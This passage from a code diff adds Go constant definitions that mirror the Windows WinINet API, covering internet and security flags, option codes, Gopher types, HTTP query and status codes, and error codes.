+	InternetReqflagPassive                         uintptr = 0x00000010
+	InternetReqflagCacheWriteDisabled              uintptr = 0x00000040
+	InternetReqflagNetTimeout                      uintptr = 0x00000080
+	InternetFlagReload                             uintptr = 0x80000000
+	InternetFlagRawData                            uintptr = 0x40000000
+	InternetFlagExistingConnect                    uintptr = 0x20000000
+	InternetFlagAsync                              uintptr = 0x10000000
+	InternetFlagPassive                            uintptr = 0x08000000
+	InternetFlagNoCacheWrite                       uintptr = 0x04000000
+	InternetFlagDontCache                          uintptr = InternetFlagNoCacheWrite
+	InternetFlagMakePersistent                     uintptr = 0x02000000
+	InternetFlagFromCache                          uintptr = 0x01000000
+	InternetFlagOffline                            uintptr = InternetFlagFromCache
+	InternetFlagSecure                             uintptr = 0x00800000
+	InternetFlagKeepConnection                     uintptr = 0x00400000
+	InternetFlagNoAutoRedirect                     uintptr = 0x00200000
+	InternetFlagReadPrefetch                       uintptr = 0x00100000
+	InternetFlagNoCookies                          uintptr = 0x00080000
+	InternetFlagNoAuth                             uintptr = 0x00040000
+	InternetFlagRestrictedZone                     uintptr = 0x00020000
+	InternetFlagCacheIfNetFail                     uintptr = 0x00010000
+	InternetFlagIgnoreRedirectToHTTP               uintptr = 0x00008000
+	InternetFlagIgnoreRedirectToHTTPs              uintptr = 0x00004000
+	InternetFlagIgnoreCertDateInvalid              uintptr = 0x00002000
+	InternetFlagIgnoreCertCnInvalid                uintptr = 0x00001000
+	InternetFlagResynchronize                      uintptr = 0x00000800
+	InternetFlagHyperlink                          uintptr = 0x00000400
+	InternetFlagNoUi                               uintptr = 0x00000200
+	InternetFlagPragmaNocache                      uintptr = 0x00000100
+	InternetFlagCacheAsync                         uintptr = 0x00000080
+	InternetFlagFormsSubmit                        uintptr = 0x00000040
+	InternetFlagFwdBack                            uintptr = 0x00000020
+	InternetFlagNeedFile                           uintptr = 0x00000010
+	InternetFlagMustCacheRequest                   uintptr = InternetFlagNeedFile
+	InternetFlagTransferAscii                      uintptr = FtpTransferTypeAscii
+	InternetFlagTransferBinary                     uintptr = FtpTransferTypeBinary
+	SecurityInternetMask                           uintptr = (InternetFlagIgnoreCertCnInvalid | InternetFlagIgnoreCertDateInvalid | InternetFlagIgnoreRedirectToHTTPs | InternetFlagIgnoreRedirectToHTTP)
+	InternetFlagsMask                              uintptr = (InternetFlagReload | InternetFlagRawData | InternetFlagExistingConnect | InternetFlagAsync | InternetFlagPassive | InternetFlagNoCacheWrite | InternetFlagMakePersistent | InternetFlagFromCache | InternetFlagSecure | InternetFlagKeepConnection | InternetFlagNoAutoRedirect | InternetFlagReadPrefetch | InternetFlagNoCookies | InternetFlagNoAuth | InternetFlagCacheIfNetFail | SecurityInternetMask | InternetFlagResynchronize | InternetFlagHyperlink | InternetFlagNoUi | InternetFlagPragmaNocache | InternetFlagCacheAsync | InternetFlagFormsSubmit | InternetFlagNeedFile | InternetFlagRestrictedZone | InternetFlagTransferBinary | InternetFlagTransferAscii | InternetFlagFwdBack)
+	InternetErrorMaskInsertCdrom                   uintptr = 0x1
+	InternetErrorMaskCombinedSecCert               uintptr = 0x2
+	InternetErrorMaskNeedMsnSspiPkg                uintptr = 0x4
+	InternetErrorMaskLoginFailureDisplayEntityBody uintptr = 0x8
+	WininetApiFlagAsync                            uintptr = 0x00000001
+	WininetApiFlagSync                             uintptr = 0x00000004
+	WininetApiFlagUseContext                       uintptr = 0x00000008
+	InternetNoCallback                             uintptr = 0
+	IdsiFlagKeepAlive                              uintptr = 0x00000001
+	IdsiFlagSecure                                 uintptr = 0x00000002
+	IdsiFlagProxy                                  uintptr = 0x00000004
+	IdsiFlagTunnel                                 uintptr = 0x00000008
+	InternetPerConnFlags                           uintptr = 1
+	InternetPerConnProxyServer                     uintptr = 2
+	InternetPerConnProxyBypass                     uintptr = 3
+	InternetPerConnAutoconfigUrl                   uintptr = 4
+	InternetPerConnAutodiscoveryFlags              uintptr = 5
+	InternetPerConnAutoconfigSecondaryUrl          uintptr = 6
+	InternetPerConnAutoconfigReloadDelayMins       uintptr = 7
+	InternetPerConnAutoconfigLastDetectTime        uintptr = 8
+	InternetPerConnAutoconfigLastDetectUrl         uintptr = 9
+	InternetPerConnFlagsUi                         uintptr = 10
+	ProxyTypeDirect                                uintptr = 0x00000001
+	ProxyTypeProxy                                 uintptr = 0x00000002
+	ProxyTypeAutoProxyUrl                          uintptr = 0x00000004
+	ProxyTypeAutoDetect                            uintptr = 0x00000008
+	AutoProxyFlagUserSet                           uintptr = 0x00000001
+	AutoProxyFlagAlwaysDetect                      uintptr = 0x00000002
+	AutoProxyFlagDetectionRun                      uintptr = 0x00000004
+	AutoProxyFlagMigrated                          uintptr = 0x00000008
+	AutoProxyFlagDontCacheProxyResult              uintptr = 0x00000010
+	AutoProxyFlagCacheInitRun                      uintptr = 0x00000020
+	AutoProxyFlagDetectionSuspect                  uintptr = 0x00000040
+	IsoForceDisconnected                           uintptr = 0x00000001
+	InternetRfc1123Format                          uintptr = 0
+	InternetRfc1123Bufsize                         uintptr = 30
+	IcuEscape                                      uintptr = 0x80000000
+	IcuUsername                                    uintptr = 0x40000000
+	IcuNoEncode                                    uintptr = 0x20000000
+	IcuDecode                                      uintptr = 0x10000000
+	IcuNoMeta                                      uintptr = 0x08000000
+	IcuEncodeSpacesOnly                            uintptr = 0x04000000
+	IcuBrowserMode                                 uintptr = 0x02000000
+	IcuEncodePercent                               uintptr = 0x00001000
+	InternetOpenTypePreconfig                      uintptr = 0
+	InternetOpenTypeDirect                         uintptr = 1
+	InternetOpenTypeProxy                          uintptr = 3
+	InternetOpenTypePreconfigWithNoAutoproxy       uintptr = 4
+	PreConfigInternetAccess                        uintptr = InternetOpenTypePreconfig
+	LocalInternetAccess                            uintptr = InternetOpenTypeDirect
+	CernProxyInternetAccess                        uintptr = InternetOpenTypeProxy
+	InternetServiceFtp                             uintptr = 1
+	InternetServiceGopher                          uintptr = 2
+	InternetServiceHTTP                            uintptr = 3
+	IrfAsync                                       uintptr = WininetApiFlagAsync
+	IrfSync                                        uintptr = WininetApiFlagSync
+	IrfUseContext                                  uintptr = WininetApiFlagUseContext
+	IrfNoWait                                      uintptr = 0x00000008
+	IsoGlobal                                      uintptr = 0x00000001
+	IsoRegistry                                    uintptr = 0x00000002
+	IsoValidFlags                                  uintptr = (IsoGlobal | IsoRegistry)
+	InternetOptionCallback                         uintptr = 1
+	InternetOptionConnectTimeout                   uintptr = 2
+	InternetOptionConnectRetries                   uintptr = 3
+	InternetOptionConnectBackoff                   uintptr = 4
+	InternetOptionSendTimeout                      uintptr = 5
+	InternetOptionControlSendTimeout               uintptr = InternetOptionSendTimeout
+	InternetOptionReceiveTimeout                   uintptr = 6
+	InternetOptionControlReceiveTimeout            uintptr = InternetOptionReceiveTimeout
+	InternetOptionDataSendTimeout                  uintptr = 7
+	InternetOptionDataReceiveTimeout               uintptr = 8
+	InternetOptionHandleType                       uintptr = 9
+	InternetOptionListenTimeout                    uintptr = 11
+	InternetOptionReadBufferSize                   uintptr = 12
+	InternetOptionWriteBufferSize                  uintptr = 13
+	InternetOptionAsyncId                          uintptr = 15
+	InternetOptionAsyncPriority                    uintptr = 16
+	InternetOptionParentHandle                     uintptr = 21
+	InternetOptionKeepConnection                   uintptr = 22
+	InternetOptionRequestFlags                     uintptr = 23
+	InternetOptionExtendedError                    uintptr = 24
+	InternetOptionOfflineMode                      uintptr = 26
+	InternetOptionCacheStreamHandle                uintptr = 27
+	InternetOptionUsername                         uintptr = 28
+	InternetOptionPassword                         uintptr = 29
+	InternetOptionAsync                            uintptr = 30
+	InternetOptionSecurityFlags                    uintptr = 31
+	InternetOptionSecurityCertificateStruct        uintptr = 32
+	InternetOptionDatafileName                     uintptr = 33
+	InternetOptionUrl                              uintptr = 34
+	InternetOptionSecurityCertificate              uintptr = 35
+	InternetOptionSecurityKeyBitness               uintptr = 36
+	InternetOptionRefresh                          uintptr = 37
+	InternetOptionProxy                            uintptr = 38
+	InternetOptionSettingsChanged                  uintptr = 39
+	InternetOptionVersion                          uintptr = 40
+	InternetOptionUserAgent                        uintptr = 41
+	InternetOptionEndBrowserSession                uintptr = 42
+	InternetOptionProxyUsername                    uintptr = 43
+	InternetOptionProxyPassword                    uintptr = 44
+	InternetOptionContextValue                     uintptr = 45
+	InternetOptionConnectLimit                     uintptr = 46
+	InternetOptionSecuritySelectClientCert         uintptr = 47
+	InternetOptionPolicy                           uintptr = 48
+	InternetOptionDisconnectedTimeout              uintptr = 49
+	InternetOptionConnectedState                   uintptr = 50
+	InternetOptionIdleState                        uintptr = 51
+	InternetOptionOfflineSemantics                 uintptr = 52
+	InternetOptionSecondaryCacheKey                uintptr = 53
+	InternetOptionCallbackFilter                   uintptr = 54
+	InternetOptionConnectTime                      uintptr = 55
+	InternetOptionSendThroughput                   uintptr = 56
+	InternetOptionReceiveThroughput                uintptr = 57
+	InternetOptionRequestPriority                  uintptr = 58
+	InternetOptionHTTPVersion                      uintptr = 59
+	InternetOptionResetUrlcacheSession             uintptr = 60
+	InternetOptionErrorMask                        uintptr = 62
+	InternetOptionFromCacheTimeout                 uintptr = 63
+	InternetOptionBypassEditedEntry                uintptr = 64
+	InternetOptionDiagnosticSocketInfo             uintptr = 67
+	InternetOptionCodepage                         uintptr = 68
+	InternetOptionCacheTimestamps                  uintptr = 69
+	InternetOptionDisableAutodial                  uintptr = 70
+	InternetOptionMaxConnsPerServer                uintptr = 73
+	InternetOptionMaxConnsPer10Server              uintptr = 74
+	InternetOptionPerConnectionOption              uintptr = 75
+	InternetOptionDigestAuthUnload                 uintptr = 76
+	InternetOptionIgnoreOffline                    uintptr = 77
+	InternetOptionIdentity                         uintptr = 78
+	InternetOptionRemoveIdentity                   uintptr = 79
+	InternetOptionAlterIdentity                    uintptr = 80
+	InternetOptionSuppressBehavior                 uintptr = 81
+	InternetOptionAutodialMode                     uintptr = 82
+	InternetOptionAutodialConnection               uintptr = 83
+	InternetOptionClientCertContext                uintptr = 84
+	InternetOptionAuthFlags                        uintptr = 85
+	InternetOptionCookies3rdParty                  uintptr = 86
+	InternetOptionDisablePassportAuth              uintptr = 87
+	InternetOptionSendUtf8ServernameToProxy        uintptr = 88
+	InternetOptionExemptConnectionLimit            uintptr = 89
+	InternetOptionEnablePassportAuth               uintptr = 90
+	InternetOptionHibernateInactiveWorkerThreads   uintptr = 91
+	InternetOptionActivateWorkerThreads            uintptr = 92
+	InternetOptionRestoreWorkerThreadDefaults      uintptr = 93
+	InternetOptionSocketSendBufferLength           uintptr = 94
+	InternetOptionProxySettingsChanged             uintptr = 95
+	InternetOptionDatafileExt                      uintptr = 96
+	InternetFirstOption                            uintptr = InternetOptionCallback
+	InternetLastOption                             uintptr = InternetOptionDatafileExt
+	InternetPriorityForeground                     uintptr = 1000
+	InternetHandleTypeInternet                     uintptr = 1
+	InternetHandleTypeConnectFtp                   uintptr = 2
+	InternetHandleTypeConnectGopher                uintptr = 3
+	InternetHandleTypeConnectHTTP                  uintptr = 4
+	InternetHandleTypeFtpFind                      uintptr = 5
+	InternetHandleTypeFtpFindHtml                  uintptr = 6
+	InternetHandleTypeFtpFile                      uintptr = 7
+	InternetHandleTypeFtpFileHtml                  uintptr = 8
+	InternetHandleTypeGopherFind                   uintptr = 9
+	InternetHandleTypeGopherFindHtml               uintptr = 10
+	InternetHandleTypeGopherFile                   uintptr = 11
+	InternetHandleTypeGopherFileHtml               uintptr = 12
+	InternetHandleTypeHTTPRequest                  uintptr = 13
+	InternetHandleTypeFileRequest                  uintptr = 14
+	AuthFlagDisableNegotiate                       uintptr = 0x00000001
+	AuthFlagEnableNegotiate                        uintptr = 0x00000002
+	AuthFlagDisableBasicClearchannel               uintptr = 0x00000004
+	SecurityFlagSecure                             uintptr = 0x00000001
+	SecurityFlagStrengthWeak                       uintptr = 0x10000000
+	SecurityFlagStrengthMedium                     uintptr = 0x40000000
+	SecurityFlagStrengthStrong                     uintptr = 0x20000000
+	SecurityFlagUnknownbit                         uintptr = 0x80000000
+	SecurityFlagFortezza                           uintptr = 0x08000000
+	SecurityFlagNormalbitness                      uintptr = SecurityFlagStrengthWeak
+	SecurityFlagSsl                                uintptr = 0x00000002
+	SecurityFlagSsl3                               uintptr = 0x00000004
+	SecurityFlagPct                                uintptr = 0x00000008
+	SecurityFlagPct4                               uintptr = 0x00000010
+	SecurityFlagIetfssl4                           uintptr = 0x00000020
+	SecurityFlag40bit                              uintptr = SecurityFlagStrengthWeak
+	SecurityFlag128bit                             uintptr = SecurityFlagStrengthStrong
+	SecurityFlag56bit                              uintptr = SecurityFlagStrengthMedium
+	SecurityFlagIgnoreRevocation                   uintptr = 0x00000080
+	SecurityFlagIgnoreUnknownCa                    uintptr = 0x00000100
+	SecurityFlagIgnoreWrongUsage                   uintptr = 0x00000200
+	SecurityFlagIgnoreCertCnInvalid                uintptr = InternetFlagIgnoreCertCnInvalid
+	SecurityFlagIgnoreCertDateInvalid              uintptr = InternetFlagIgnoreCertDateInvalid
+	SecurityFlagIgnoreRedirectToHTTPs              uintptr = InternetFlagIgnoreRedirectToHTTPs
+	SecurityFlagIgnoreRedirectToHTTP               uintptr = InternetFlagIgnoreRedirectToHTTP
+	SecuritySetMask                                uintptr = (SecurityFlagIgnoreRevocation | SecurityFlagIgnoreUnknownCa | SecurityFlagIgnoreCertCnInvalid | SecurityFlagIgnoreCertDateInvalid | SecurityFlagIgnoreWrongUsage)
+	AutodialModeNever                              uintptr = 1
+	AutodialModeAlways                             uintptr = 2
+	AutodialModeNoNetworkPresent                   uintptr = 4
+	InternetStatusResolvingName                    uintptr = 10
+	InternetStatusNameResolved                     uintptr = 11
+	InternetStatusConnectingToServer               uintptr = 20
+	InternetStatusConnectedToServer                uintptr = 21
+	InternetStatusSendingRequest                   uintptr = 30
+	InternetStatusRequestSent                      uintptr = 31
+	InternetStatusReceivingResponse                uintptr = 40
+	InternetStatusResponseReceived                 uintptr = 41
+	InternetStatusCtlResponseReceived              uintptr = 42
+	InternetStatusPrefetch                         uintptr = 43
+	InternetStatusClosingConnection                uintptr = 50
+	InternetStatusConnectionClosed                 uintptr = 51
+	InternetStatusHandleCreated                    uintptr = 60
+	InternetStatusHandleClosing                    uintptr = 70
+	InternetStatusDetectingProxy                   uintptr = 80
+	InternetStatusRequestComplete                  uintptr = 100
+	InternetStatusRedirect                         uintptr = 110
+	InternetStatusIntermediateResponse             uintptr = 120
+	InternetStatusUserInputRequired                uintptr = 140
+	InternetStatusStateChange                      uintptr = 200
+	InternetStatusCookieSent                       uintptr = 320
+	InternetStatusCookieReceived                   uintptr = 321
+	InternetStatusPrivacyImpacted                  uintptr = 324
+	InternetStatusP3pHeader                        uintptr = 325
+	InternetStatusP3pPolicyref                     uintptr = 326
+	InternetStatusCookieHistory                    uintptr = 327
+	InternetStateConnected                         uintptr = 0x00000001
+	InternetStateDisconnected                      uintptr = 0x00000002
+	InternetStateDisconnectedByUser                uintptr = 0x00000010
+	InternetStateIdle                              uintptr = 0x00000100
+	InternetStateBusy                              uintptr = 0x00000200
+	FtpTransferTypeUnknown                         uintptr = 0x00000000
+	FtpTransferTypeAscii                           uintptr = 0x00000001
+	FtpTransferTypeBinary                          uintptr = 0x00000002
+	FtpTransferTypeMask                            uintptr = (FtpTransferTypeAscii | FtpTransferTypeBinary)
+	MaxGopherDisplayText                           uintptr = 128
+	MaxGopherSelectorText                          uintptr = 256
+	MaxGopherHostName                              uintptr = InternetMaxHostNameLength
+	MaxGopherLocatorLength                         uintptr = (1 + MaxGopherDisplayText + 1 + MaxGopherSelectorText + 1 + MaxGopherHostName + 1 + InternetMaxPortNumberLength + 1 + 1 + 2)
+	GopherTypeTextFile                             uintptr = 0x00000001
+	GopherTypeDirectory                            uintptr = 0x00000002
+	GopherTypeCso                                  uintptr = 0x00000004
+	GopherTypeError                                uintptr = 0x00000008
+	GopherTypeMacBinhex                            uintptr = 0x00000010
+	GopherTypeDosArchive                           uintptr = 0x00000020
+	GopherTypeUnixUuencoded                        uintptr = 0x00000040
+	GopherTypeIndexServer                          uintptr = 0x00000080
+	GopherTypeTelnet                               uintptr = 0x00000100
+	GopherTypeBinary                               uintptr = 0x00000200
+	GopherTypeRedundant                            uintptr = 0x00000400
+	GopherTypeTn3270                               uintptr = 0x00000800
+	GopherTypeGif                                  uintptr = 0x00001000
+	GopherTypeImage                                uintptr = 0x00002000
+	GopherTypeBitmap                               uintptr = 0x00004000
+	GopherTypeMovie                                uintptr = 0x00008000
+	GopherTypeSound                                uintptr = 0x00010000
+	GopherTypeHtml                                 uintptr = 0x00020000
+	GopherTypePdf                                  uintptr = 0x00040000
+	GopherTypeCalendar                             uintptr = 0x00080000
+	GopherTypeInline                               uintptr = 0x00100000
+	GopherTypeUnknown                              uintptr = 0x20000000
+	GopherTypeAsk                                  uintptr = 0x40000000
+	GopherTypeGopherPlus                           uintptr = 0x80000000
+	GopherTypeFileMask                             uintptr = (GopherTypeTextFile | GopherTypeMacBinhex | GopherTypeDosArchive | GopherTypeUnixUuencoded | GopherTypeBinary | GopherTypeGif | GopherTypeImage | GopherTypeBitmap | GopherTypeMovie | GopherTypeSound | GopherTypeHtml | GopherTypePdf | GopherTypeCalendar | GopherTypeInline)
+	MaxGopherCategoryName                          uintptr = 128
+	MaxGopherAttributeName                         uintptr = 128
+	MinGopherAttributeLength                       uintptr = 256
+	GopherInfoCategory                             string  = "+INFO"
+	GopherAdminCategory                            string  = "+ADMIN"
+	GopherViewsCategory                            string  = "+VIEWS"
+	GopherAbstractCategory                         string  = "+ABSTRACT"
+	GopherVeronicaCategory                         string  = "+VERONICA"
+	GopherAdminAttribute                           string  = "Admin"
+	GopherModDateAttribute                         string  = "Mod-Date"
+	GopherTtlAttribute                             string  = "TTL"
+	GopherScoreAttribute                           string  = "Score"
+	GopherRangeAttribute                           string  = "Score-range"
+	GopherSiteAttribute                            string  = "Site"
+	GopherOrgAttribute                             string  = "Org"
+	GopherLocationAttribute                        string  = "Loc"
+	GopherGeogAttribute                            string  = "Geog"
+	GopherTimezoneAttribute                        string  = "TZ"
+	GopherProviderAttribute                        string  = "Provider"
+	GopherVersionAttribute                         string  = "Version"
+	GopherAbstractAttribute                        string  = "Abstract"
+	GopherViewAttribute                            string  = "View"
+	GopherTreewalkAttribute                        string  = "treewalk"
+	GopherAttributeIdBase                          uintptr = 0xabcccc00
+	GopherCategoryIdAll                            uintptr = (GopherAttributeIdBase + 1)
+	GopherCategoryIdInfo                           uintptr = (GopherAttributeIdBase + 2)
+	GopherCategoryIdAdmin                          uintptr = (GopherAttributeIdBase + 3)
+	GopherCategoryIdViews                          uintptr = (GopherAttributeIdBase + 4)
+	GopherCategoryIdAbstract                       uintptr = (GopherAttributeIdBase + 5)
+	GopherCategoryIdVeronica                       uintptr = (GopherAttributeIdBase + 6)
+	GopherCategoryIdAsk                            uintptr = (GopherAttributeIdBase + 7)
+	GopherCategoryIdUnknown                        uintptr = (GopherAttributeIdBase + 8)
+	GopherAttributeIdAll                           uintptr = (GopherAttributeIdBase + 9)
+	GopherAttributeIdAdmin                         uintptr = (GopherAttributeIdBase + 10)
+	GopherAttributeIdModDate                       uintptr = (GopherAttributeIdBase + 11)
+	GopherAttributeIdTtl                           uintptr = (GopherAttributeIdBase + 12)
+	GopherAttributeIdScore                         uintptr = (GopherAttributeIdBase + 13)
+	GopherAttributeIdRange                         uintptr = (GopherAttributeIdBase + 14)
+	GopherAttributeIdSite                          uintptr = (GopherAttributeIdBase + 15)
+	GopherAttributeIdOrg                           uintptr = (GopherAttributeIdBase + 16)
+	GopherAttributeIdLocation                      uintptr = (GopherAttributeIdBase + 17)
+	GopherAttributeIdGeog                          uintptr = (GopherAttributeIdBase + 18)
+	GopherAttributeIdTimezone                      uintptr = (GopherAttributeIdBase + 19)
+	GopherAttributeIdProvider                      uintptr = (GopherAttributeIdBase + 20)
+	GopherAttributeIdVersion                       uintptr = (GopherAttributeIdBase + 21)
+	GopherAttributeIdAbstract                      uintptr = (GopherAttributeIdBase + 22)
+	GopherAttributeIdView                          uintptr = (GopherAttributeIdBase + 23)
+	GopherAttributeIdTreewalk                      uintptr = (GopherAttributeIdBase + 24)
+	GopherAttributeIdUnknown                       uintptr = (GopherAttributeIdBase + 25)
+	HTTPMajorVersion                               uintptr = 1
+	HTTPMinorVersion                               uintptr = 0
+	HTTPVersiona                                   string  = "HTTP/1.0"
+	HTTPVersionw                                   string  = "HTTP/1.0"
+	HTTPQueryMimeVersion                           uintptr = 0
+	HTTPQueryContentType                           uintptr = 1
+	HTTPQueryContentTransferEncoding               uintptr = 2
+	HTTPQueryContentId                             uintptr = 3
+	HTTPQueryContentDescription                    uintptr = 4
+	HTTPQueryContentLength                         uintptr = 5
+	HTTPQueryContentLanguage                       uintptr = 6
+	HTTPQueryAllow                                 uintptr = 7
+	HTTPQueryPublic                                uintptr = 8
+	HTTPQueryDate                                  uintptr = 9
+	HTTPQueryExpires                               uintptr = 10
+	HTTPQueryLastModified                          uintptr = 11
+	HTTPQueryMessageId                             uintptr = 12
+	HTTPQueryUri                                   uintptr = 13
+	HTTPQueryDerivedFrom                           uintptr = 14
+	HTTPQueryCost                                  uintptr = 15
+	HTTPQueryLink                                  uintptr = 16
+	HTTPQueryPragma                                uintptr = 17
+	HTTPQueryVersion                               uintptr = 18
+	HTTPQueryStatusCode                            uintptr = 19
+	HTTPQueryStatusText                            uintptr = 20
+	HTTPQueryRawHeaders                            uintptr = 21
+	HTTPQueryRawHeadersCRLF                        uintptr = 22
+	HTTPQueryConnection                            uintptr = 23
+	HTTPQueryAccept                                uintptr = 24
+	HTTPQueryAcceptCharset                         uintptr = 25
+	HTTPQueryAcceptEncoding                        uintptr = 26
+	HTTPQueryAcceptLanguage                        uintptr = 27
+	HTTPQueryAuthorization                         uintptr = 28
+	HTTPQueryContentEncoding                       uintptr = 29
+	HTTPQueryForwarded                             uintptr = 30
+	HTTPQueryFrom                                  uintptr = 31
+	HTTPQueryIfModifiedSince                       uintptr = 32
+	HTTPQueryLocation                              uintptr = 33
+	HTTPQueryOrigUri                               uintptr = 34
+	HTTPQueryReferer                               uintptr = 35
+	HTTPQueryRetryAfter                            uintptr = 36
+	HTTPQueryServer                                uintptr = 37
+	HTTPQueryTitle                                 uintptr = 38
+	HTTPQueryUserAgent                             uintptr = 39
+	HTTPQueryWwwAuthenticate                       uintptr = 40
+	HTTPQueryProxyAuthenticate                     uintptr = 41
+	HTTPQueryAcceptRanges                          uintptr = 42
+	HTTPQuerySetCookie                             uintptr = 43
+	HTTPQueryCookie                                uintptr = 44
+	HTTPQueryRequestMethod                         uintptr = 45
+	HTTPQueryRefresh                               uintptr = 46
+	HTTPQueryContentDisposition                    uintptr = 47
+	HTTPQueryAge                                   uintptr = 48
+	HTTPQueryCacheControl                          uintptr = 49
+	HTTPQueryContentBase                           uintptr = 50
+	HTTPQueryContentLocation                       uintptr = 51
+	HTTPQueryContentMd5                            uintptr = 52
+	HTTPQueryContentRange                          uintptr = 53
+	HTTPQueryEtag                                  uintptr = 54
+	HTTPQueryHost                                  uintptr = 55
+	HTTPQueryIfMatch                               uintptr = 56
+	HTTPQueryIfNoneMatch                           uintptr = 57
+	HTTPQueryIfRange                               uintptr = 58
+	HTTPQueryIfUnmodifiedSince                     uintptr = 59
+	HTTPQueryMaxForwards                           uintptr = 60
+	HTTPQueryProxyAuthorization                    uintptr = 61
+	HTTPQueryRange                                 uintptr = 62
+	HTTPQueryTransferEncoding                      uintptr = 63
+	HTTPQueryUpgrade                               uintptr = 64
+	HTTPQueryVary                                  uintptr = 65
+	HTTPQueryVia                                   uintptr = 66
+	HTTPQueryWarning                               uintptr = 67
+	HTTPQueryExpect                                uintptr = 68
+	HTTPQueryProxyConnection                       uintptr = 69
+	HTTPQueryUnlessModifiedSince                   uintptr = 70
+	HTTPQueryEchoRequest                           uintptr = 71
+	HTTPQueryEchoReply                             uintptr = 72
+	HTTPQueryEchoHeaders                           uintptr = 73
+	HTTPQueryEchoHeadersCRLF                       uintptr = 74
+	HTTPQueryProxySupport                          uintptr = 75
+	HTTPQueryAuthenticationInfo                    uintptr = 76
+	HTTPQueryPassportUrls                          uintptr = 77
+	HTTPQueryPassportConfig                        uintptr = 78
+	HTTPQueryMax                                   uintptr = 78
+	HTTPQueryCustom                                uintptr = 65535
+	HTTPQueryFlagRequestHeaders                    uintptr = 0x80000000
+	HTTPQueryFlagSystemtime                        uintptr = 0x40000000
+	HTTPQueryFlagNumber                            uintptr = 0x20000000
+	HTTPQueryFlagCoalesce                          uintptr = 0x10000000
+	HTTPQueryModifierFlagsMask                     uintptr = (HTTPQueryFlagRequestHeaders | HTTPQueryFlagSystemtime | HTTPQueryFlagNumber | HTTPQueryFlagCoalesce)
+	HTTPStatusContinue                             uintptr = 100
+	HTTPStatusSwitchProtocols                      uintptr = 101
+	HTTPStatusOk                                   uintptr = 200
+	HTTPStatusCreated                              uintptr = 201
+	HTTPStatusAccepted                             uintptr = 202
+	HTTPStatusPartial                              uintptr = 203
+	HTTPStatusNoContent                            uintptr = 204
+	HTTPStatusResetContent                         uintptr = 205
+	HTTPStatusPartialContent                       uintptr = 206
+	HTTPStatusAmbiguous                            uintptr = 300
+	HTTPStatusMoved                                uintptr = 301
+	HTTPStatusRedirect                             uintptr = 302
+	HTTPStatusRedirectMethod                       uintptr = 303
+	HTTPStatusNotModified                          uintptr = 304
+	HTTPStatusUseProxy                             uintptr = 305
+	HTTPStatusRedirectKeepVerb                     uintptr = 307
+	HTTPStatusBadRequest                           uintptr = 400
+	HTTPStatusDenied                               uintptr = 401
+	HTTPStatusPaymentReq                           uintptr = 402
+	HTTPStatusForbidden                            uintptr = 403
+	HTTPStatusNotFound                             uintptr = 404
+	HTTPStatusBadMethod                            uintptr = 405
+	HTTPStatusNoneAcceptable                       uintptr = 406
+	HTTPStatusProxyAuthReq                         uintptr = 407
+	HTTPStatusRequestTimeout                       uintptr = 408
+	HTTPStatusConflict                             uintptr = 409
+	HTTPStatusGone                                 uintptr = 410
+	HTTPStatusLengthRequired                       uintptr = 411
+	HTTPStatusPrecondFailed                        uintptr = 412
+	HTTPStatusRequestTooLarge                      uintptr = 413
+	HTTPStatusUriTooLong                           uintptr = 414
+	HTTPStatusUnsupportedMedia                     uintptr = 415
+	HTTPStatusRetryWith                            uintptr = 449
+	HTTPStatusServerError                          uintptr = 500
+	HTTPStatusNotSupported                         uintptr = 501
+	HTTPStatusBadGateway                           uintptr = 502
+	HTTPStatusServiceUnavail                       uintptr = 503
+	HTTPStatusGatewayTimeout                       uintptr = 504
+	HTTPStatusVersionNotSup                        uintptr = 505
+	HTTPStatusFirst                                uintptr = HTTPStatusContinue
+	HTTPStatusLast                                 uintptr = HTTPStatusVersionNotSup
+	HTTPAddreqIndexMask                            uintptr = 0x0000FFFF
+	HTTPAddreqFlagsMask                            uintptr = 0xFFFF0000
+	HTTPAddreqFlagAddIfNew                         uintptr = 0x10000000
+	HTTPAddreqFlagAdd                              uintptr = 0x20000000
+	HTTPAddreqFlagCoalesceWithComma                uintptr = 0x40000000
+	HTTPAddreqFlagCoalesceWithSemicolon            uintptr = 0x01000000
+	HTTPAddreqFlagCoalesce                         uintptr = HTTPAddreqFlagCoalesceWithComma
+	HTTPAddreqFlagReplace                          uintptr = 0x80000000
+	HsrAsync                                       uintptr = WininetApiFlagAsync
+	HsrSync                                        uintptr = WininetApiFlagSync
+	HsrUseContext                                  uintptr = WininetApiFlagUseContext
+	HsrInitiate                                    uintptr = 0x00000008
+	HsrDownload                                    uintptr = 0x00000010
+	HsrChunked                                     uintptr = 0x00000020
+	InternetCookieIsSecure                         uintptr = 0x01
+	InternetCookieIsSession                        uintptr = 0x02
+	InternetCookieThirdParty                       uintptr = 0x10
+	InternetCookiePromptRequired                   uintptr = 0x20
+	InternetCookieEvaluateP3p                      uintptr = 0x40
+	InternetCookieApplyP3p                         uintptr = 0x80
+	InternetCookieP3pEnabled                       uintptr = 0x100
+	InternetCookieIsRestricted                     uintptr = 0x200
+	InternetCookieIe6                              uintptr = 0x400
+	InternetCookieIsLegacy                         uintptr = 0x800
+	FlagIccForceConnection                         uintptr = 0x00000001
+	FlagsErrorUiFilterForErrors                    uintptr = 0x01
+	FlagsErrorUiFlagsChangeOptions                 uintptr = 0x02
+	FlagsErrorUiFlagsGenerateData                  uintptr = 0x04
+	FlagsErrorUiFlagsNoUi                          uintptr = 0x08
+	FlagsErrorUiSerializeDialogs                   uintptr = 0x10
+	InternetErrorBase                              uintptr = 12000
+	ErrorInternetOutOfHandles                      uintptr = (InternetErrorBase + 1)
+	ErrorInternetTimeout                           uintptr = (InternetErrorBase + 2)
+	ErrorInternetExtendedError                     uintptr = (InternetErrorBase + 3)
+	ErrorInternetInternalError                     uintptr = (InternetErrorBase + 4)
+	ErrorInternetInvalidUrl                        uintptr = (InternetErrorBase + 5)
+	ErrorInternetUnrecognizedScheme                uintptr = (InternetErrorBase + 6)
+	ErrorInternetNameNotResolved                   uintptr = (InternetErrorBase + 7)
+	ErrorInternetProtocolNotFound                  uintptr = (InternetErrorBase + 8)
+	ErrorInternetInvalidOption                     uintptr = (InternetErrorBase + 9)
+	ErrorInternetBadOptionLength                   uintptr = (InternetErrorBase + 10)
+	ErrorInternetOptionNotSettable                 uintptr = (InternetErrorBase + 11)
+	ErrorInternetShutdown                          uintptr = (InternetErrorBase + 12)
+	ErrorInternetIncorrectUserName                 uintptr = (InternetErrorBase + 13)
+	ErrorInternetIncorrectPassword                 uintptr = (InternetErrorBase + 14)
+	ErrorInternetLoginFailure                      uintptr = (InternetErrorBase + 15)
+	ErrorInternetInvalidOperation                  uintptr = (InternetErrorBase + 16)
+	ErrorInternetOperationCancelled                uintptr = (InternetErrorBase + 17)
